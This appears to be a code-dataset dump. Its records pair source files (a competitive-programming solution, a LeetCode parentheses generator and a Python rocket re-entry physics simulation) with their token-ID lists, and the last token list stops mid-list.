6822,
29912,
7827,
29918,
16175,
267,
6525,
29871,
931,
29901,
426,
2230,
29918,
29873,
9424,
334,
29871,
29896,
29900,
29900,
29900,
29901,
29889,
29946,
29888,
29913,
10887,
353,
426,
29896,
847,
931,
29918,
29873,
9424,
29901,
29889,
29896,
29888,
29913,
383,
7024,
1495,
13,
4706,
1962,
353,
1962,
29889,
21970,
2141,
1272,
29961,
29900,
1822,
23749,
580,
13,
4706,
1962,
353,
1962,
29889,
3286,
4220,
29898,
29896,
29892,
29871,
29906,
29892,
29871,
29900,
29897,
13,
4706,
1962,
353,
7442,
29889,
294,
2378,
29898,
9302,
29889,
1191,
3317,
29898,
4905,
29892,
9685,
29922,
29906,
511,
26688,
29922,
9302,
29889,
13470,
29947,
29897,
13,
13,
4706,
4078,
29918,
978,
353,
10802,
29898,
978,
467,
303,
331,
718,
285,
15972,
27711,
29915,
13,
4706,
565,
4464,
1275,
525,
8346,
2396,
13,
9651,
396,
29871,
30982,
30946,
30861,
31122,
233,
145,
171,
30687,
31320,
30801,
13,
9651,
4078,
29918,
27711,
29898,
4905,
29892,
6213,
29892,
4078,
29918,
978,
29892,
6389,
29889,
24713,
29892,
6389,
29889,
7620,
29918,
10199,
29918,
3972,
29892,
13,
462,
308,
1962,
29918,
7979,
29891,
29922,
5574,
29892,
1962,
29918,
2780,
29922,
5574,
29892,
330,
29873,
29918,
2780,
29922,
8824,
29897,
13,
13,
4706,
396,
29871,
30998,
31320,
30801,
30503,
30667,
30861,
31046,
30780,
30287,
31558,
13,
4706,
10153,
353,
10153,
29918,
13492,
13,
4706,
11105,
353,
1962,
13,
4706,
11105,
29961,
13168,
1275,
29871,
29896,
29962,
353,
29871,
29906,
29945,
29945,
29871,
396,
29871,
30998,
11105,
29871,
30210,
29871,
29896,
29871,
31462,
30494,
29871,
29906,
29945,
29945,
6660,
29871,
30406,
30909,
30822,
30806,
31542,
30858,
232,
136,
136,
30948,
31869,
31085,
30768,
30397,
13,
4706,
24786,
353,
7442,
29889,
3298,
359,
29898,
13168,
29889,
12181,
7503,
29906,
1402,
26688,
543,
13470,
29947,
1159,
29871,
396,
29871,
30486,
30494,
29871,
30753,
30573,
29900,
29871,
30210,
234,
162,
172,
236,
155,
184,
30214,
30406,
30909,
232,
136,
136,
30948,
29871,
235,
150,
160,
31085,
29871,
30503,
29871,
234,
190,
194,
31085,
30768,
30397,
13,
4706,
11105,
29918,
8394,
353,
13850,
29906,
29889,
14634,
4197,
3298,
359,
29892,
24786,
29892,
11105,
2314,
29871,
396,
29871,
30733,
31666,
30494,
29871,
29941,
29871,
30768,
30397,
13,
4706,
10153,
353,
13850,
29906,
29889,
1202,
22676,
287,
29898,
2492,
29892,
29871,
29896,
29892,
11105,
29918,
8394,
29892,
29871,
29896,
29892,
29871,
29900,
29897,
29871,
396,
29871,
30733,
31666,
13,
13,
4706,
565,
4464,
1275,
525,
8346,
2396,
13,
9651,
396,
29871,
30982,
30946,
29871,
233,
145,
171,
30687,
29974,
30667,
30861,
29871,
31320,
30801,
13,
9651,
13850,
29906,
29889,
326,
3539,
29898,
29888,
29908,
29912,
359,
29889,
2084,
29889,
7122,
29898,
5085,
29889,
7620,
29918,
10199,
29918,
3972,
29892,
4078,
29918,
978,
718,
22868,
2492,
29889,
2732,
1495,
17671,
10153,
29897,
13,
4706,
1683,
29901,
13,
9651,
396,
29871,
30982,
30946,
31568,
236,
165,
148,
13,
9651,
4078,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
5085,
29889,
7620,
29918,
10199,
29918,
3972,
29892,
4078,
29918,
978,
718,
22868,
27711,
29889,
1526,
29946,
1495,
13,
9651,
565,
7840,
29918,
2084,
2804,
4078,
29918,
2084,
29901,
29871,
396,
716,
4863,
13,
18884,
7840,
29918,
2084,
353,
4078,
29918,
2084,
13,
18884,
565,
338,
8758,
29898,
8590,
29918,
13236,
29892,
13850,
29906,
29889,
15167,
10507,
1125,
13,
462,
1678,
7840,
29918,
13236,
29889,
14096,
580,
29871,
396,
6507,
3517,
4863,
9227,
13,
13,
18884,
3023,
617,
353,
525,
1526,
29946,
29894,
29915,
29871,
396,
1962,
4863,
775,
29883,
13,
18884,
285,
567,
353,
7840,
29918,
5030,
29889,
657,
29898,
11023,
29906,
29889,
29907,
3301,
29918,
8618,
29925,
29918,
29943,
7024,
29897,
13,
18884,
281,
353,
938,
29898,
8590,
29918,
5030,
29889,
657,
29898,
11023,
29906,
29889,
29907,
3301,
29918,
8618,
29925,
29918,
29943,
4717,
2303,
29918,
22574,
876,
13,
18884,
298,
353,
938,
29898,
8590,
29918,
5030,
29889,
657,
29898,
11023,
29906,
29889,
29907,
3301,
29918,
8618,
29925,
29918,
29943,
4717,
2303,
29918,
9606,
22530,
876,
13,
18884,
7840,
29918,
13236,
353,
13850,
29906,
29889,
15167,
10507,
29898,
7620,
29918,
2084,
29892,
13850,
29906,
29889,
15167,
10507,
29918,
17823,
617,
10456,
17823,
617,
511,
285,
567,
29892,
313,
29893,
29892,
298,
876,
13,
9651,
7840,
29918,
13236,
29889,
3539,
29898,
2492,
29897,
13,
13,
13,
1753,
8500,
29918,
4299,
29898,
5085,
1125,
13,
1678,
9995,
13,
268,
1667,
740,
363,
6724,
13,
268,
1828,
6389,
29901,
5534,
6273,
13,
268,
736,
29901,
6213,
13,
1678,
9995,
13,
1678,
1596,
29898,
5085,
29897,
13,
13,
1678,
565,
6389,
29889,
29883,
6191,
29901,
13,
4706,
1596,
703,
2751,
4261,
671,
330,
3746,
1178,
29901,
525,
8875,
29915,
1642,
4830,
29898,
5085,
29889,
29887,
13364,
876,
13,
4706,
2897,
29889,
21813,
3366,
29907,
29965,
7698,
29918,
28607,
8979,
1307,
29918,
2287,
29963,
2965,
2890,
3108,
353,
6389,
29889,
29887,
13364,
13,
4706,
565,
451,
4842,
305,
29889,
29883,
6191,
29889,
275,
29918,
16515,
7295,
13,
9651,
12020,
8960,
703,
1217,
22796,
1476,
470,
2743,
330,
3746,
1178,
29892,
3113,
1065,
1728,
1192,
29883,
6191,
1159,
13,
13,
1678,
396,
2048,
278,
1904,
13,
1678,
1904,
353,
2048,
29918,
4299,
29898,
5085,
29889,
4299,
29892,
954,
29918,
13203,
29922,
5085,
29889,
13203,
29897,
13,
13,
1678,
565,
6389,
29889,
29883,
6191,
29901,
13,
4706,
1904,
353,
1904,
29889,
29883,
6191,
580,
29871,
396,
773,
22796,
363,
27262,
13,
4706,
274,
566,
15755,
29889,
1785,
16580,
353,
5852,
13,
13,
1678,
565,
6389,
29889,
3198,
3149,
29901,
13,
4706,
565,
2897,
29889,
2084,
29889,
275,
1445,
29898,
5085,
29889,
3198,
3149,
1125,
13,
9651,
1596,
703,
2751,
4261,
8363,
1423,
3149,
525,
8875,
29915,
1642,
4830,
29898,
5085,
29889,
3198,
3149,
876,
13,
9651,
1423,
3149,
353,
4842,
305,
29889,
1359,
29898,
5085,
29889,
3198,
3149,
29897,
13,
9651,
1904,
29889,
1359,
29918,
3859,
29918,
8977,
29898,
3198,
3149,
1839,
4299,
11287,
13,
9651,
396,
1904,
29889,
1359,
29918,
3859,
29918,
8977,
29898,
13441,
29918,
3859,
29918,
8977,
29898,
3198,
3149,
1839,
4299,
25901,
13,
4706,
1683,
29901,
13,
9651,
1596,
703,
2751,
4261,
694,
1423,
3149,
1476,
472,
525,
8875,
29915,
1642,
4830,
29898,
5085,
29889,
3198,
3149,
876,
13,
9651,
12020,
3497,
17413,
2392,
703,
1217,
1423,
3149,
1476,
472,
525,
8875,
29915,
1642,
4830,
29898,
5085,
29889,
3198,
3149,
876,
13,
13,
1678,
565,
451,
2897,
29889,
2084,
29889,
9933,
29898,
5085,
29889,
7620,
29918,
10199,
29918,
3972,
1125,
13,
4706,
2897,
29889,
29885,
12535,
12935,
29898,
5085,
29889,
7620,
29918,
10199,
29918,
3972,
29897,
13,
13,
1678,
396,
2254,
278,
1243,
731,
13,
1678,
565,
6389,
29889,
1509,
29918,
3945,
29918,
1761,
29901,
13,
4706,
17117,
1243,
10036,
353,
2048,
29918,
24713,
29918,
1688,
29898,
5085,
29889,
24713,
29892,
6389,
29889,
1949,
29918,
1287,
414,
29892,
5642,
29918,
4141,
29922,
5574,
29897,
13,
1678,
1683,
29901,
13,
4706,
17117,
1243,
10036,
353,
2048,
29918,
24713,
29918,
27711,
29898,
5085,
29889,
3027,
29918,
2080,
29918,
2084,
29892,
6389,
29889,
24713,
29892,
6389,
29889,
1949,
29918,
1287,
414,
29892,
5642,
29918,
4141,
29922,
5574,
29897,
13,
13,
1678,
1596,
703,
2751,
4261,
6763,
6724,
1159,
13,
1678,
1596,
703,
1688,
731,
3309,
29901,
9162,
7431,
29898,
1688,
10036,
876,
13,
1678,
8500,
29898,
5085,
29892,
1243,
10036,
29892,
1904,
29897,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
13,
1678,
6389,
353,
6088,
29918,
5085,
580,
13,
13,
1678,
6389,
29889,
7620,
29918,
10199,
29918,
3972,
353,
2897,
29889,
2084,
29889,
7122,
29898,
5085,
29889,
7620,
29918,
10199,
29918,
3972,
29892,
6389,
29889,
24713,
29892,
525,
27711,
742,
6389,
29889,
4299,
29897,
13,
13,
1678,
565,
6389,
29889,
24713,
1275,
525,
12690,
1557,
11603,
2396,
13,
4706,
6389,
29889,
13203,
353,
29871,
29896,
29929,
13,
1678,
25342,
6389,
29889,
24713,
1275,
525,
11108,
8590,
2396,
13,
4706,
6389,
29889,
13203,
353,
29871,
29896,
29896,
13,
1678,
25342,
6389,
29889,
24713,
1275,
525,
6341,
29918,
24713,
2396,
13,
4706,
6389,
29889,
13203,
353,
29871,
29906,
13,
1678,
1683,
29901,
13,
4706,
12020,
2216,
1888,
2037,
287,
2392,
29898,
13,
9651,
376,
4013,
9810,
1286,
11286,
1023,
20035,
29901,
4272,
1557,
11603,
322,
3949,
8590,
29892,
1273,
29879,
338,
451,
5134,
29908,
1273,
6389,
29889,
24713,
29897,
13,
13,
1678,
8500,
29918,
4299,
29898,
5085,
29897,
13,
2
] |
CHORCKIT.py | akashsuper2000/codechef-archive | 0 | 147866 | n,m,a,x,r = [int(i) for i in input().split()]
s = input()
for i in range(m):
t = input()
for i in range(a):
p = input()
if(n<10**6 and r<=x):
print(1)
print(3,1,10**6-n)
else:
print(0)
| [
1,
302,
29892,
29885,
29892,
29874,
29892,
29916,
29892,
29878,
353,
518,
524,
29898,
29875,
29897,
363,
474,
297,
1881,
2141,
5451,
580,
29962,
13,
29879,
353,
1881,
580,
13,
1454,
474,
297,
3464,
29898,
29885,
1125,
13,
1678,
260,
353,
1881,
580,
13,
1454,
474,
297,
3464,
29898,
29874,
1125,
13,
1678,
282,
353,
1881,
580,
13,
361,
29898,
29876,
29966,
29896,
29900,
1068,
29953,
322,
364,
14065,
29916,
1125,
13,
1678,
1596,
29898,
29896,
29897,
13,
1678,
1596,
29898,
29941,
29892,
29896,
29892,
29896,
29900,
1068,
29953,
29899,
29876,
29897,
13,
2870,
29901,
13,
1678,
1596,
29898,
29900,
29897,
13,
2
] |
22. Generate Parentheses.py | RayHHe/LeetCode | 0 | 95076 | # No.1/2019-06-10/68 ms/13.3 MB
class Solution:
def generateParenthesis(self, n: int) -> List[str]:
l=['()']
if n==0: return []
for i in range(1,n):
newl=[]
for string in l:
for index in range(len(string)//2+1):
temp=string[:index]+'()'+string[index:]
if temp not in newl: newl.append(temp)
l=newl
return l
| [
1,
396,
1939,
29889,
29896,
29914,
29906,
29900,
29896,
29929,
29899,
29900,
29953,
29899,
29896,
29900,
29914,
29953,
29947,
10887,
29914,
29896,
29941,
29889,
29941,
13232,
13,
13,
1990,
24380,
29901,
13,
1678,
822,
5706,
2177,
9097,
6656,
29898,
1311,
29892,
302,
29901,
938,
29897,
1599,
2391,
29961,
710,
5387,
13,
4706,
301,
29922,
1839,
580,
2033,
13,
4706,
565,
302,
1360,
29900,
29901,
736,
5159,
13,
4706,
363,
474,
297,
3464,
29898,
29896,
29892,
29876,
1125,
13,
9651,
716,
29880,
29922,
2636,
13,
9651,
363,
1347,
297,
301,
29901,
13,
18884,
363,
2380,
297,
3464,
29898,
2435,
29898,
1807,
29897,
458,
29906,
29974,
29896,
1125,
13,
462,
1678,
5694,
29922,
1807,
7503,
2248,
10062,
29915,
580,
18717,
1807,
29961,
2248,
17531,
13,
462,
1678,
565,
5694,
451,
297,
716,
29880,
29901,
716,
29880,
29889,
4397,
29898,
7382,
29897,
13,
9651,
301,
29922,
1482,
29880,
13,
4706,
736,
301,
13,
2
] |
rockets/rocket.py | rsewell97/open-starship | 0 | 20514 | <reponame>rsewell97/open-starship<filename>rockets/rocket.py
import time
import multiprocessing as mp
import numpy as np
from scipy.spatial.transform import Rotation
from world import Earth
class Rocket(object):
def __init__(self, planet=Earth()):
self.planet = planet
self.propellant_mass = 1e6
self.dry_mass = 40e3
self.max_thrust = 2e5 * 2
self.Isp = 350
self.fuel_level = 0.08
self.radius = 3.5
self.height = 40
self.max_v_gimbal = 30
self.max_gimbal = 20
self.min_throttle = 0
self.reenters_engine_first = True
self.rated_for_human_reentry = False
# IN WORLD COORDINATES
self.pos = np.array([0, self.planet.R, 0])
self.vel = np.zeros(3)
self.rot = Rotation.identity()
self.drot = np.zeros(3)
# IN LOCAL COORDINATES
self.acc = np.zeros(3)
self.ddrot = np.zeros(3)
self.gimbal = np.zeros(3) # y, z, x
self.v_gimbal = np.zeros(3) # y, z, x
self.clock = 0
self.plotter = None
if self.planet.is3D:
self.control_vec = np.zeros(3)
else:
self.control_vec = np.zeros(2)
@property
def mass(self):
return self.dry_mass + self.fuel_level*self.propellant_mass
@property
def inertia(self):
# assume Ixx is uniform disc lamina
Ixx = 0.5*self.mass*self.radius**2
# assume Iyy is uniform rod
Iyy = self.mass*(self.height**2) / 12
# likewise for Izz
Izz = Iyy
# assume no gyration effects
return np.array([Ixx, Iyy, Izz])
@property
def finenessRatio(self):
return self.height/self.radius/2
@property
def deltaV(self):
return self.Isp * np.log(self.mass/self.dry_mass)
@property
def altitude(self):
return self.orbitalDist - self.planet.R
@property
def latitude(self):
return np.arcsin(self.pos[2] / self.orbitalDist) * 180/np.pi
@property
def longitude(self):
lon = np.arcsin(self.pos[1] / np.linalg.norm(self.pos[:2])) * 180/np.pi
if self.pos[0] >= 0:
return lon
else:
if lon > 0:
return 180-lon
else:
return -180+lon
@property
def horizonAxes(self):
y = self.pos/self.orbitalDist # radial axis
z = -self.orbitalAngMomentum/np.linalg.norm(self.orbitalAngMomentum) #norm to orbital plane
x = np.cross(y, z) # forward horizon dir
return np.array([x, y, z])
@property
def localAxes(self):
return self.toWorld(np.eye(3))
@property
def eulerAngles(self):
l = self.toLocal(self.horizonAxes)
return Rotation.from_matrix(l).as_euler('yzx', degrees=True)
@property
def heading(self):
return self.localAxes[0]
@property
def attackAngle(self):
# in range 0 -> pi
return np.arccos(np.clip(np.dot(self.vel/self.speed, self.heading), -1, 1))
@property
def speed(self):
return np.linalg.norm(self.vel)
@property
def machNum(self):
return self.speed / self.planet.c
@property
def Gs(self):
return np.linalg.norm(self.acc) / self.planet.g(self.altitude)
@property
def radialSpeed(self):
return np.dot(self.vel, self.horizonAxes[1])
@property
def tangentialSpeed(self):
return np.linalg.norm(self.tangentialVel)
@property
def tangentialVel(self):
return np.cross(self.horizonAxes[1], self.orbitalAngMomentum/(self.mass*self.orbitalDist))
@property
def orbitalAngMomentum(self):
return np.cross(self.pos, self.vel*self.mass)
@property
def orbitalDist(self):
return np.linalg.norm(self.pos)
@property
def currentTraj(self):
b = 2*self.radialSpeed / self.planet.g(self.altitude)
c = -2*self.altitude / self.planet.g(self.altitude)
pos_time_to_hit_ground = (-b + (b**2 - 4*c) ** 0.5) / 2
neg_time_to_hit_ground = (-b - (b**2 - 4*c) ** 0.5) / 2
ts = np.linspace(2*neg_time_to_hit_ground, 2 *
pos_time_to_hit_ground, 100)
ts = np.expand_dims(ts, 1)
w = self.radialSpeed * self.horizonAxes[1]
x = 0.5*self.planet.g(self.altitude) * self.horizonAxes[1] * 1.4
traj = np.apply_along_axis(lambda t: self.pos + (w+self.tangentialVel)*t - x*t**2, 1, ts)
return traj
@property
def hullTemperature(self):
# TODO
return None
@property
def states(self):
horizon_ang_vel = self.drot + self.toLocal(self.orbitalAngMomentum/(self.mass*self.orbitalDist**2))
return [
self.altitude, self.radialSpeed, self.tangentialSpeed,
self.eulerAngles.ravel(), horizon_ang_vel.ravel(), self.gimbal.ravel()
]
def calcUpdate(self, dt, gimbal_cntrl=[5, 0], throttle=0.):
# perform control actions and calculate rocket mechanics
# assume rocket is modelled as a featureless cylinder
# TRANSFORM INTO LOCAL COORDINATES
x,y,z = np.eye(3)
v = self.toLocal(self.vel)
# FORCES
# thrust
gimbal_cntrl = np.deg2rad(gimbal_cntrl)
gimbal = Rotation.from_rotvec([0, gimbal_cntrl[0], gimbal_cntrl[1]])
thrust = gimbal.apply(throttle * self.max_thrust * x)
self.fuel_level -= np.linalg.norm(thrust) / (self.Isp * self.planet.g(self.altitude) * self.propellant_mass)
# aero (cylinder)
common_factor = 0.5 * self.planet.rho(self.altitude) * self.speed**2
drag = -x*0.62*common_factor* np.pi*self.radius**2 * np.cos(self.attackAngle)
# lift is perpendicular to ship, calculated using eqn (32): https://apps.dtic.mil/dtic/tr/fulltext/u2/603829.pdf
lift_normal = self.normalised(np.cross(x, np.cross(x, v)))
lift = lift_normal*0.1*common_factor* 2*self.radius*self.height * np.sin(self.attackAngle)**3
# TORQUES
# aero restoring torque
restoring_axis = self.normalised(np.cross(x, v))
aero_torque = 0.05 * self.height/8 * common_factor * restoring_axis * self.finenessRatio
# gimballing torque
thrust_torque = np.cross(-self.height*x/2, thrust)
force_sum = drag + lift + np.dot(thrust, x)
torque_sum = thrust_torque + aero_torque # vec
self.acc = force_sum / self.mass # local coord
self.ddrot = torque_sum / self.inertia # local coord
def _update(self, dt):
self.calcUpdate(dt)
self.update(dt)
grav = self.planet.g(self.altitude) * self.pos/self.orbitalDist
self.vel = self.vel + (self.toWorld(self.acc)-grav)*dt
self.pos = self.pos + self.vel*dt
self.drot = self.drot + self.ddrot*dt
upd = Rotation.from_rotvec(self.drot*dt)
self.rot = Rotation.from_matrix(upd.apply(self.rot.as_matrix()))
self.clock += dt
if self.plotter is not None:
to_send = {}
for k, v in self.plotting_info.items():
if type(v) == list:
to_send[k] = [getattr(self, i) for i in v]
else:
to_send[k] = getattr(self, v)
self.plotter.update(to_send)
def update(self, dt):
# base function to add specific rocket dynamics: modiry self.acc and self.ddrot here
pass
def runSim(self, dt=1, T=None):
if T is None:
T = np.inf
prev_time = time.time()
while self.speed != 0:
self._update(dt)
if not self.failConditions():
break
elif self.clock > T:
break
print('\r', end='')
print(f'Simulation speed: {dt/(time.time()-prev_time):.1f}x, update freq: {1/(time.time()-prev_time):.1f}Hz', end='', flush=True)
prev_time = time.time()
def startAtApoapsis(self, apoapsis=100e3, periapsis=-20e5, inclination=0):
apoapsis += self.planet.R
periapsis += self.planet.R
a = (apoapsis + periapsis) / 2
# e = ((apoapsis - a) + (periapsis - a)) / (2*a)
v = (self.planet.mu*(2/apoapsis - 1/a)) ** 0.5
inclination = np.deg2rad(inclination)
self.pos = np.array([0, apoapsis*np.cos(inclination), apoapsis*np.sin(inclination)])
self.vel = np.cross(self.pos, np.array([0, -np.sin(inclination), np.cos(inclination)]))
self.vel = self.vel/self.speed * v
self.rot = Rotation.from_euler('yzx', [self.reenters_engine_first*np.pi,
0, -np.pi/2+inclination])
world_ang_vel = self.orbitalAngMomentum/(self.mass*self.orbitalDist**2)
self.drot = -self.toLocal(world_ang_vel)
def startFreefall(self, altitude):
self.pos = np.array([0, altitude+self.planet.R, 0])
self.vel = np.array([0, -0.1, 0.1])
self.rot = Rotation.from_euler('yzx', [self.reenters_engine_first*np.pi/2 + 0.01,
-np.pi/2, 0]).as_quat()
self.drot = np.zeros(3)
def startAt(self, pos, vel):
self.pos = np.asarray(pos)
self.vel = np.asarray(vel)
def typicalEntry(self):
raise NotImplementedError("This will be added in a future update")
def failConditions(self):
# _tmp = abs(self.reenters_engine_first*np.pi - self.attackAngle)
# if _tmp > 2*np.pi/3 and self.speed > 3000:
# print('\nFlamey end is not pointing down')
# return False # pointing wrong-end-first
# if self.speed > 7900:
# print('\nYou made a meteor')
# return False # nothing has survived reentry at this speed
# if self.Gs > 8 and self.rated_for_human_reentry:
# print(f'\n{self.Gs:.1f}G - congrats everyone is unconscious')
# return False # too much G force for occupants to handle
if self.altitude <= 0 and self.speed > 2:
print(f'\nRUD on landing pad {self.speed:.1f}m/s')
return False # crash land
return True
def attachPlotter(self, obj):
self.plotter = obj
self.plotting_info = self.plotter.reqDataFormat()
def toLocal(self, vec):
return self.rot.inv().apply(vec)
def toWorld(self, vec):
return self.rot.apply(vec)
@staticmethod
def normalised(v):
n = np.sqrt(np.dot(v,v))
if n == 0:
return np.zeros_like(v)
else:
return v / np.sqrt(np.dot(v,v)) | [
1,
529,
276,
1112,
420,
29958,
29878,
344,
5872,
29929,
29955,
29914,
3150,
29899,
8508,
3527,
29966,
9507,
29958,
307,
9737,
29914,
307,
3522,
29889,
2272,
13,
5215,
931,
13,
5215,
6674,
307,
985,
292,
408,
22326,
13,
13,
5215,
12655,
408,
7442,
13,
3166,
4560,
2272,
29889,
1028,
15238,
29889,
9067,
1053,
9664,
362,
13,
13,
3166,
3186,
1053,
11563,
13,
13,
13,
1990,
1528,
3522,
29898,
3318,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
15754,
29922,
29923,
28696,
580,
1125,
13,
4706,
1583,
29889,
9018,
300,
353,
15754,
13,
13,
4706,
1583,
29889,
7728,
514,
424,
29918,
25379,
353,
29871,
29896,
29872,
29953,
13,
4706,
1583,
29889,
29881,
719,
29918,
25379,
353,
29871,
29946,
29900,
29872,
29941,
13,
4706,
1583,
29889,
3317,
29918,
386,
23575,
353,
29871,
29906,
29872,
29945,
334,
29871,
29906,
13,
4706,
1583,
29889,
29902,
1028,
353,
29871,
29941,
29945,
29900,
13,
4706,
1583,
29889,
29888,
2491,
29918,
5563,
353,
29871,
29900,
29889,
29900,
29947,
13,
4706,
1583,
29889,
13471,
353,
29871,
29941,
29889,
29945,
13,
4706,
1583,
29889,
3545,
353,
29871,
29946,
29900,
13,
4706,
1583,
29889,
3317,
29918,
29894,
29918,
29887,
326,
5521,
353,
29871,
29941,
29900,
13,
4706,
1583,
29889,
3317,
29918,
29887,
326,
5521,
353,
29871,
29906,
29900,
13,
4706,
1583,
29889,
1195,
29918,
386,
26970,
280,
353,
29871,
29900,
13,
4706,
1583,
29889,
276,
296,
414,
29918,
10599,
29918,
4102,
353,
5852,
13,
4706,
1583,
29889,
29878,
630,
29918,
1454,
29918,
26029,
29918,
276,
8269,
353,
7700,
13,
13,
4706,
396,
2672,
399,
1955,
10249,
4810,
25593,
1177,
1299,
2890,
13,
4706,
1583,
29889,
1066,
353,
7442,
29889,
2378,
4197,
29900,
29892,
1583,
29889,
9018,
300,
29889,
29934,
29892,
29871,
29900,
2314,
13,
4706,
1583,
29889,
955,
353,
7442,
29889,
3298,
359,
29898,
29941,
29897,
13,
4706,
1583,
29889,
5450,
353,
9664,
362,
29889,
22350,
580,
13,
4706,
1583,
29889,
29881,
5450,
353,
7442,
29889,
3298,
359,
29898,
29941,
29897,
13,
13,
4706,
396,
2672,
11247,
29907,
1964,
4810,
25593,
1177,
1299,
2890,
13,
4706,
1583,
29889,
5753,
353,
7442,
29889,
3298,
359,
29898,
29941,
29897,
13,
4706,
1583,
29889,
1289,
5450,
353,
7442,
29889,
3298,
359,
29898,
29941,
29897,
13,
4706,
1583,
29889,
29887,
326,
5521,
353,
7442,
29889,
3298,
359,
29898,
29941,
29897,
539,
396,
343,
29892,
503,
29892,
921,
13,
4706,
1583,
29889,
29894,
29918,
29887,
326,
5521,
353,
7442,
29889,
3298,
359,
29898,
29941,
29897,
268,
396,
343,
29892,
503,
29892,
921,
13,
308,
13,
4706,
1583,
29889,
13058,
353,
29871,
29900,
13,
4706,
1583,
29889,
5317,
357,
353,
6213,
13,
13,
4706,
565,
1583,
29889,
9018,
300,
29889,
275,
29941,
29928,
29901,
13,
9651,
1583,
29889,
6451,
29918,
2003,
353,
7442,
29889,
3298,
359,
29898,
29941,
29897,
13,
4706,
1683,
29901,
13,
9651,
1583,
29889,
6451,
29918,
2003,
353,
7442,
29889,
3298,
359,
29898,
29906,
29897,
13,
13,
1678,
732,
6799,
13,
1678,
822,
4158,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
29881,
719,
29918,
25379,
718,
1583,
29889,
29888,
2491,
29918,
5563,
29930,
1311,
29889,
7728,
514,
424,
29918,
25379,
13,
13,
1678,
732,
6799,
13,
1678,
822,
297,
814,
423,
29898,
1311,
1125,
13,
4706,
396,
5251,
306,
4419,
338,
9090,
2313,
301,
314,
1099,
13,
4706,
306,
4419,
353,
29871,
29900,
29889,
29945,
29930,
1311,
29889,
25379,
29930,
1311,
29889,
13471,
1068,
29906,
13,
4706,
396,
5251,
306,
8071,
338,
9090,
15382,
13,
4706,
306,
8071,
353,
1583,
29889,
25379,
16395,
1311,
29889,
3545,
1068,
29906,
29897,
847,
29871,
29896,
29906,
13,
4706,
396,
763,
3538,
363,
306,
5617,
13,
4706,
306,
5617,
353,
306,
8071,
13,
4706,
396,
5251,
694,
330,
4316,
362,
9545,
13,
4706,
736,
7442,
29889,
2378,
4197,
29902,
4419,
29892,
306,
8071,
29892,
306,
5617,
2314,
13,
13,
1678,
732,
6799,
13,
1678,
822,
1436,
18543,
29934,
20819,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
3545,
29914,
1311,
29889,
13471,
29914,
29906,
13,
13,
1678,
732,
6799,
13,
1678,
822,
19471,
29963,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
29902,
1028,
334,
7442,
29889,
1188,
29898,
1311,
29889,
25379,
29914,
1311,
29889,
29881,
719,
29918,
25379,
29897,
13,
13,
1678,
732,
6799,
13,
1678,
822,
5272,
4279,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
11831,
2410,
13398,
448,
1583,
29889,
9018,
300,
29889,
29934,
13,
13,
1678,
732,
6799,
13,
1678,
822,
26271,
29898,
1311,
1125,
13,
4706,
736,
7442,
29889,
279,
2395,
262,
29898,
1311,
29889,
1066,
29961,
29906,
29962,
847,
1583,
29889,
11831,
2410,
13398,
29897,
334,
29871,
29896,
29947,
29900,
29914,
9302,
29889,
1631,
13,
13,
1678,
732,
6799,
13,
1678,
822,
28745,
29898,
1311,
1125,
13,
4706,
23123,
353,
7442,
29889,
279,
2395,
262,
29898,
1311,
29889,
1066,
29961,
29896,
29962,
847,
7442,
29889,
29880,
979,
29887,
29889,
12324,
29898,
1311,
29889,
1066,
7503,
29906,
12622,
334,
29871,
29896,
29947,
29900,
29914,
9302,
29889,
1631,
13,
4706,
565,
1583,
29889,
1066,
29961,
29900,
29962,
6736,
29871,
29900,
29901,
13,
9651,
736,
23123,
13,
4706,
1683,
29901,
13,
9651,
565,
23123,
1405,
29871,
29900,
29901,
13,
18884,
736,
29871,
29896,
29947,
29900,
29899,
12957,
13,
9651,
1683,
29901,
13,
18884,
736,
448,
29896,
29947,
29900,
29974,
12957,
13,
13,
1678,
732,
6799,
13,
1678,
822,
28205,
29909,
9100,
29898,
1311,
1125,
13,
4706,
343,
353,
1583,
29889,
1066,
29914,
1311,
29889,
11831,
2410,
13398,
539,
396,
28373,
9685,
13,
4706,
503,
353,
448,
1311,
29889,
11831,
2410,
9928,
29924,
2932,
398,
29914,
9302,
29889,
29880,
979,
29887,
29889,
12324,
29898,
1311,
29889,
11831,
2410,
9928,
29924,
2932,
398,
29897,
259,
396,
12324,
304,
19528,
2410,
10694,
13,
4706,
921,
353,
7442,
29889,
19128,
29898,
29891,
29892,
503,
29897,
462,
29871,
396,
6375,
28205,
4516,
13,
4706,
736,
7442,
29889,
2378,
4197,
29916,
29892,
343,
29892,
503,
2314,
13,
13,
1678,
732,
6799,
13,
1678,
822,
1887,
29909,
9100,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
517,
14058,
29898,
9302,
29889,
1032,
29872,
29898,
29941,
876,
13,
13,
1678,
732,
6799,
13,
1678,
822,
321,
8584,
9928,
793,
29898,
1311,
1125,
13,
4706,
301,
353,
1583,
29889,
517,
7717,
29898,
1311,
29889,
2015,
18162,
29909,
9100,
29897,
13,
4706,
736,
9664,
362,
29889,
3166,
29918,
5344,
29898,
29880,
467,
294,
29918,
29872,
8584,
877,
12339,
29916,
742,
14496,
29922,
5574,
29897,
13,
13,
1678,
732,
6799,
13,
1678,
822,
28435,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
2997,
29909,
9100,
29961,
29900,
29962,
13,
13,
1678,
732,
6799,
13,
1678,
822,
5337,
19582,
29898,
1311,
1125,
13,
4706,
396,
297,
3464,
29871,
29900,
1599,
2930,
13,
4706,
736,
7442,
29889,
279,
617,
359,
29898,
9302,
29889,
24049,
29898,
9302,
29889,
6333,
29898,
1311,
29889,
955,
29914,
1311,
29889,
19322,
29892,
1583,
29889,
2813,
292,
511,
448,
29896,
29892,
29871,
29896,
876,
13,
13,
1678,
732,
6799,
13,
1678,
822,
6210,
29898,
1311,
1125,
13,
4706,
736,
7442,
29889,
29880,
979,
29887,
29889,
12324,
29898,
1311,
29889,
955,
29897,
13,
13,
1678,
732,
6799,
13,
1678,
822,
7672,
8009,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
19322,
847,
1583,
29889,
9018,
300,
29889,
29883,
13,
13,
1678,
732,
6799,
13,
1678,
822,
